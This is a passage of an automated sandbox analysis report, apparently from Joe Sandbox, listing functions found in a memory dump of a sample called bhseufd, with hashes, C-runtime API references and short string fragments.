Opcode ID: f607765c8f2682145a9edb787064b82d444e2ed9b0f04ad2e4101b47de9843e8
Instruction ID: 08d3cf6121706dbf829b6d05311f1c81cf8396b18442ce7c14708cc00a2cbdda
Opcode Fuzzy Hash: f607765c8f2682145a9edb787064b82d444e2ed9b0f04ad2e4101b47de9843e8
Instruction Fuzzy Hash: 61A1AFF0E002289BDB24DF55DC85BAEB774AF84304F50419AE6197B282D778AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00415BEA Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415DD8
__inc.LIBCMTD ref: 00415E0A
__inc.LIBCMTD ref: 00415EC9
__mbtowc_l.LIBCMTD ref: 00415F0B

Strings

c, xrefs: 00415F85
, xrefs: 00415E43

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: $c
API String ID: 579247601-3797896886
Opcode ID: 98046de7fd322e1f917b2e6fd8048b3892d2d27587e911f3b1c5c2ec91a3c4cd
Instruction ID: 7ecbc0b786a77850220586fe59660f87f2dbd110734eb0342331823304e5aa8a
Opcode Fuzzy Hash: 98046de7fd322e1f917b2e6fd8048b3892d2d27587e911f3b1c5c2ec91a3c4cd
Instruction Fuzzy Hash: B8918F70D05758DBCF24CF95D8946EEBB71AF85308F14819AE829AB342D7389AC1CF09

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB7 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 100windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 00419C5B
__invoke_watson_if_oneof.LIBCMTD ref: 00419C8E
_wcscpy_s.LIBCMTD ref: 00419CD0
__invoke_watson_if_error.LIBCMTD ref: 00419CD9
___crtMessageBoxW.LIBCMTD ref: 00419CF2
_raise.LIBCMTD ref: 00419D0B

Strings

`D@, xrefs: 00419C28, 00419C2E
^9@, xrefs: 00419BDF

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: ^9@$`D@
API String ID: 1485069716-273578848
Opcode ID: 61b2dbe9ec1f8faa36acc654127eec5d54c4783b504d953776bc1184599c36c0
Instruction ID: c0e6340a1cda6ef02aac5938a198a3969f3bcb851ff0069ec62fe23309543b73
Opcode Fuzzy Hash: 61b2dbe9ec1f8faa36acc654127eec5d54c4783b504d953776bc1184599c36c0
Instruction Fuzzy Hash: 7C316AB5A40218ABDB24DB91DC46FDA73B5BB58744F0041EAF308762C1D6B85EC08F99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C205 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C219
__CrtIsValidHeapPointer.LIBCMTD ref: 0040C2A5
_CheckBytes.LIBCMTD ref: 0040C350
_CheckBytes.LIBCMTD ref: 0040C40A
_memset.LIBCMT ref: 0040C501
__free_base.LIBCMTD ref: 0040C50D

Strings

tDj, xrefs: 0040C25B

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: 9e4933a0895b6ac6c0642c5811bf3db3a89f07ee418360bb71f795d539c2b335
Instruction ID: 75fa95f28e929d295a3ff20f1c5eafdc527d9d5b24bdd5c7b8f1c648dc88ba2b
Opcode Fuzzy Hash: 9e4933a0895b6ac6c0642c5811bf3db3a89f07ee418360bb71f795d539c2b335
Instruction Fuzzy Hash: C191B174A40204EBEB28DB84CDD2F6A7375AB44708F344269F604BB2C2D279EE41D79D

Uniqueness

Uniqueness Score: -1.00%

Function 00415C24 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00415DD8
__inc.LIBCMTD ref: 00415E0A
__inc.LIBCMTD ref: 00415EC9
__mbtowc_l.LIBCMTD ref: 00415F0B

Strings

, xrefs: 00415E43
{, xrefs: 00415E4C

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: ${
API String ID: 579247601-4046706400
Opcode ID: c4822b5e9e88f4911f299a29db30f343fa9385594b584e860edcc568e7ba0c09
Instruction ID: f8bebf5dfd94e6c9dc363e16e45155c9ab91aad30fd5ed40b4ee189f875d7f82
Opcode Fuzzy Hash: c4822b5e9e88f4911f299a29db30f343fa9385594b584e860edcc568e7ba0c09
Instruction Fuzzy Hash: C54190B4D05758DBCF24CB95D8446EEBB71AF85305F14C1AEE429A7202D7389AC5CF09

Uniqueness

Uniqueness Score: -1.00%

Function 00424827 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

0, xrefs: 00424843
', xrefs: 00424827
9, xrefs: 00424A88

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 61ff73877e2c891499c3fb64a8486ea2c305938b2ba7b0e0e707b528870ff651
Instruction ID: 26c336a9f065971cb0d320951b209e2e278aa466309384de1234029c3de788cf
Opcode Fuzzy Hash: 61ff73877e2c891499c3fb64a8486ea2c305938b2ba7b0e0e707b528870ff651
Instruction Fuzzy Hash: B941F4B1E15229DFDB24CF58E899BAEB7B5FB84304F5481DAD448A7240C7389E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00417D28 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

', xrefs: 00417D28
0, xrefs: 00417D44
9, xrefs: 00417F89

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 0685f91b45cbdf0ca138cdfba6d584006a9b8105de1a8e68d10636028a782ff3
Instruction ID: 66da96a2bac71dcb13fa53c53b410c2ec7dc3b67ccd4c81c7949b8dad1257f88
Opcode Fuzzy Hash: 0685f91b45cbdf0ca138cdfba6d584006a9b8105de1a8e68d10636028a782ff3
Instruction Fuzzy Hash: AE41D3719082299FDB64CF58C989BEEB7B5BB84304F1445DAE409AB241C7389EC1CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00415FCA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00416029
__inc.LIBCMTD ref: 0041605C
_isxdigit.LIBCMTD ref: 0041617D
__hextodec.LIBCMTD ref: 004161B0
_isdigit.LIBCMTD ref: 004161D6
__inc.LIBCMTD ref: 004162C0
__un_inc.LIBCMTD ref: 004162E4

Strings

p, xrefs: 0041616F
0, xrefs: 0041600F

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: 04da5069397b075e653506d4188bde8c25525b423427e154921d5491573031cb
Instruction ID: 6b59d60e470b2688df4fca62ab249f9125279fcdb80552354e7482094790bb3c
Opcode Fuzzy Hash: 04da5069397b075e653506d4188bde8c25525b423427e154921d5491573031cb
Instruction Fuzzy Hash: 75414CB1D042A99ACF25CF65C8942EEBB71AF05308F2581EFD81966302D239DAC5CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424814 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

0, xrefs: 00424843
9, xrefs: 00424A88

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: adf89d3c19f081dca0014650f750430d885a7cf6bbcb9a16a6fa2b3a43d07e97
Instruction ID: 74cb3aa1fb84b278cd05ca6ea8a4370dc3a41d3c72b4f31d23988da057b4ed0c
Opcode Fuzzy Hash: adf89d3c19f081dca0014650f750430d885a7cf6bbcb9a16a6fa2b3a43d07e97
Instruction Fuzzy Hash: 114105B1E15228DFDB24CF58E889BAEBBB5FB84304F50819AD448A7240C7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00417D15 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

0, xrefs: 00417D44
9, xrefs: 00417F89

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 65d4fb54393684fd377d7b0f3d77692b0563070c7f279eb9e5d07005dacc9ba6
Instruction ID: e675631b09abcb4a3db81451e5924fefa61cd99c30674d547d3908986f46349b
Opcode Fuzzy Hash: 65d4fb54393684fd377d7b0f3d77692b0563070c7f279eb9e5d07005dacc9ba6
Instruction Fuzzy Hash: 5041E2B1D082299FDB64CF48C989BEEB7B5BB84304F1445DAE449AB241C7389EC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3E9 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

', xrefs: 0042D3E9
9, xrefs: 0042D653

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: b53842285cc36683f1c6ce8fb90574166aff5df858b6c8ef311ad64556746230
Instruction ID: 88a54ba87f90a9f5b032cfd84d745c94e298abe8153fd9a8b2ffa27ed5e4d3c8
Opcode Fuzzy Hash: b53842285cc36683f1c6ce8fb90574166aff5df858b6c8ef311ad64556746230
Instruction Fuzzy Hash: 994107B1E10129AFDF24CF48D981BAEB7B5FF85318F50409AD148AB241D7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004160F7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00416145
_isxdigit.LIBCMTD ref: 0041617D
__hextodec.LIBCMTD ref: 004161B0

Strings

+, xrefs: 00416110
p, xrefs: 0041616F

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: f8efa3abca31849c5592b86eeb0e740c30bf76091945ac1854910c1bafb44064
Instruction ID: adce234988b22d8bd5ae00344cc608b77643e63ba8c088d33e61c2c02cac5546
Opcode Fuzzy Hash: f8efa3abca31849c5592b86eeb0e740c30bf76091945ac1854910c1bafb44064
Instruction Fuzzy Hash: 33317E70D042999BCF25CFA8C8553EEBB71AF05308F1581EBD85966303D2399AC5CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00414FA1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00415008
__set_error_mode.LIBCMTD ref: 00415017
_strlen.LIBCMT ref: 00415054

Strings

jjj, xrefs: 00414FF0
t/j, xrefs: 00415041

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __set_error_mode$_strlen
String ID: jjj$t/j
API String ID: 3008368703-194299851
Opcode ID: 29e36cd753d718f00ebd4b426e8ccf6d6e9737db56b20747fef1a9a91f67124e
Instruction ID: cc08ce26f6a024f3033672ba7507bd5da172dfb7162415b62467972e3cdb8a89
Opcode Fuzzy Hash: 29e36cd753d718f00ebd4b426e8ccf6d6e9737db56b20747fef1a9a91f67124e
Instruction Fuzzy Hash: 7621C574900208EBDB20DFD4DD45BEE7770EB99344F20426AE80666391D3799ED1DF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041E210 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__raise_exc.LIBCMTD ref: 0041E231

Part of subcall function 0041E800: __raise_exc_ex.LIBCMTD ref: 0041E81F

__umatherr.LIBCMTD ref: 0041E286

Part of subcall function 0041EB40: __ctrlfp.LIBCMTD ref: 0041EB90

__ctrlfp.LIBCMTD ref: 0041E2AA

Strings

Q., xrefs: 0041E23C
RB, xrefs: 0041E298

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __ctrlfp$__raise_exc__raise_exc_ex__umatherr
String ID: Q.$RB
API String ID: 3448981373-1859500299
Opcode ID: 8fa79a7c7f4aae2378ae324352cbeb68bcd47ee3f3e8f2504226a5c6105b3671
Instruction ID: 1ebfb33139b524200cec9de81c96486586f77189fcb2d629f3baf8e11be06bcc
Opcode Fuzzy Hash: 8fa79a7c7f4aae2378ae324352cbeb68bcd47ee3f3e8f2504226a5c6105b3671
Instruction Fuzzy Hash: 3F11A5FA800104DBCF14EF95ECC6ADA7774BF48304F0446DDED454A14AEA35D9A8CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0AD Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0040A155

Part of subcall function 0040E600: __encode_pointer.LIBCMTD ref: 0040E6E1

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: 5f7a6d196b30961b12539303d88b8ad938c76a83f920ce16079a0d3f462514dd
Instruction ID: 1f5e1d8646b0494c722511e986583432f5f8cda0befd93b776f646e7e6de3695
Opcode Fuzzy Hash: 5f7a6d196b30961b12539303d88b8ad938c76a83f920ce16079a0d3f462514dd
Instruction Fuzzy Hash: AB412935C04704D6CB21AF79DA4516E77B0EF95344F10CA7AF88876291EB348959D34B

Uniqueness

Uniqueness Score: -1.00%

Function 00423881 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 00423963
__getbuf.LIBCMTD ref: 00423973
__write.LIBCMTD ref: 004239FB

Strings

8uA, xrefs: 004239F7, 0042395F, 00423962, 004239FA

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: 8uA
API String ID: 2861569966-2259325327
Opcode ID: cc1b0abdc2988826ec5a43669376b69e5abb6e32c2e8dc166d42234ab6b96b39
Instruction ID: 0dd3b1d60e5f64f8659b5d50802fca4c560dc3e1392e070fed4939187e0a6d64
Opcode Fuzzy Hash: cc1b0abdc2988826ec5a43669376b69e5abb6e32c2e8dc166d42234ab6b96b39
Instruction Fuzzy Hash: 87510874A00208EFDB04CF94D491AADFBB1FF89324F548299E8856B391C739EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00426CE4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00426D43
_memset.LIBCMT ref: 00426DCC
__invalid_parameter.LIBCMTD ref: 00426E2B

Strings

P, xrefs: 00426E40

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 955de45044a1d5f85f675c4b6cbede1848b336f993361dde01ceef15ab33b163
Instruction ID: d6fd6288881bce127360db99ef77ba2cd1fba0b01b53c89011ed8be84d3fe839
Opcode Fuzzy Hash: 955de45044a1d5f85f675c4b6cbede1848b336f993361dde01ceef15ab33b163
Instruction Fuzzy Hash: 51418B34B04219DBCF24CF68D8857AE7771FB40318F21866AE8252A3C0D3799995CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a9d99888770cab9d7e0f0c34f27cf5cecb2e14e8e89c15b6abf3e2c8dcae7157
Instruction ID: 0f748674789098517c81c6bfd64f9e761f8b5fa2f9a4a8db8edf5eac7631dedc
Opcode Fuzzy Hash: a9d99888770cab9d7e0f0c34f27cf5cecb2e14e8e89c15b6abf3e2c8dcae7157
Instruction Fuzzy Hash: F04117B1E10129AFDF24CF48D881BAEB7B4FF85318F50409AD148AB241D7789E85CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0042485C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

9, xrefs: 00424A88

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 71fc9a78994e6d16d0c1169087281eb279d550b6d0d5854cb0eb6f4c469db18a
Instruction ID: 7d622ab20ed276f116396610c0aec0db95fc003ade2d99466f96e2832dab4621
Opcode Fuzzy Hash: 71fc9a78994e6d16d0c1169087281eb279d550b6d0d5854cb0eb6f4c469db18a
Instruction Fuzzy Hash: 2041E4B1E15229DFEB24CF58EC99BAEB7B5FB84300F50859AD449A7240D7385E81CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0042D424 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: d9517b125610d09cf6686e9e1e60e3f7890620e4f9ac7ed4a8b95ee4aad8908b
Instruction ID: c5f49ca03594f23acbc4f4cd6f5b4d54cf19c5277b46b3f938c6ca43fe85ffb3
Opcode Fuzzy Hash: d9517b125610d09cf6686e9e1e60e3f7890620e4f9ac7ed4a8b95ee4aad8908b
Instruction Fuzzy Hash: F54106B1E10129AFDB24CF48DD81BAEB7B5FF85314F508199D148AB241D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00417D5D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

9, xrefs: 00417F89

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 20673bb0dd0d476465353f81658d8a072f6559d7ea614f6567867374e6f90a8a
Instruction ID: a4f503f4a05c619a2cb2715f3afc384eec036e56c76c5104009c60b3daeeaa8c
Opcode Fuzzy Hash: 20673bb0dd0d476465353f81658d8a072f6559d7ea614f6567867374e6f90a8a
Instruction Fuzzy Hash: 6041E471E0862A9FDB64DF48C989BEEB7B5BB84300F1485DAE009A7241D7389EC1CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042480B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
_get_int64_arg.LIBCMTD ref: 004248B0
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

9, xrefs: 00424A88

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 52b33b09ba93cfe225179afbd334edf23daf10a9ddb99f53eed7ec5f04d9215f
Instruction ID: 584235817bc73f8ae962284972e65426d18d9de26950287a78096d0aaed1cb15
Opcode Fuzzy Hash: 52b33b09ba93cfe225179afbd334edf23daf10a9ddb99f53eed7ec5f04d9215f
Instruction Fuzzy Hash: FF41D5B1E15228DFDB24CF58E889BAEB7B5FB84300F60859AD449A7240D7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00417D0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
_get_int64_arg.LIBCMTD ref: 00417DB1
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

9, xrefs: 00417F89

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 86485ad8320365a21d973e09cedde198a619cafc6831d8c362282d666b7d4256
Instruction ID: 80de0027016aba27cfb710d9a3c87b46e20102838d83ac131788fc0b50bedefa
Opcode Fuzzy Hash: 86485ad8320365a21d973e09cedde198a619cafc6831d8c362282d666b7d4256
Instruction Fuzzy Hash: 4041E4B1E082299FDB64DF58C989BEEB7B5BB84300F1045DAE409A7241D7389EC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3CD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
_get_int64_arg.LIBCMTD ref: 0042D478
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 0dfdaa36073ef9f1184e557c8796e4b4eb4d7ebd374c62414a2cd066758d1c8f
Instruction ID: 0be7bbea8f8936df4ac83a2c52f3f5a9c458ef7ad509494722a83a080cae16c0
Opcode Fuzzy Hash: 0dfdaa36073ef9f1184e557c8796e4b4eb4d7ebd374c62414a2cd066758d1c8f
Instruction Fuzzy Hash: A64105B1E00129AFDB24CF48D981B9EB7B4FF85318F50419AE148A7201D7789E80CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA90 Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0041FAAA
_$I10_OUTPUT.LIBCMTD ref: 0041FAD2
_wcscpy_s.LIBCMTD ref: 0041FB12

Part of subcall function 0040D730: __invalid_parameter.LIBCMTD ref: 0040D7A2

__invoke_watson_if_error.LIBCMTD ref: 0041FB1B

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: efec990e1e48bc0c03b8f927a7121f3ef49cbbcac27d21f99d1f076ab7d130ed
Instruction ID: dee117bf9813120e8a24ba833a6e6f86f10fcbcf5c9d0d3007b9c0305f3aab63
Opcode Fuzzy Hash: efec990e1e48bc0c03b8f927a7121f3ef49cbbcac27d21f99d1f076ab7d130ed
Instruction Fuzzy Hash: B2214DB5A003089BCB04EFA4D952ADEB7F4EF8C704F108569F90567382E634E915CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004159D2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415B5F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416B66

Strings

n, xrefs: 00415B8A

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 2516c8dfc543d407d4c8a144eb9cf6009eb1a8c8fb2bed4a5b4bfbd473836ec5
Instruction ID: ecfd4378f8583d72b307479f6d223e2097ebd30da65c6bdb4e1d2919ce9eeb8a
Opcode Fuzzy Hash: 2516c8dfc543d407d4c8a144eb9cf6009eb1a8c8fb2bed4a5b4bfbd473836ec5
Instruction Fuzzy Hash: B241A070909659CBCF24CF54D4957EEBBB1AF41315F14829BD8156B282C338AEC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004159A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415B5F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416B66

Strings

n, xrefs: 00415B8A

Memory Dump Source

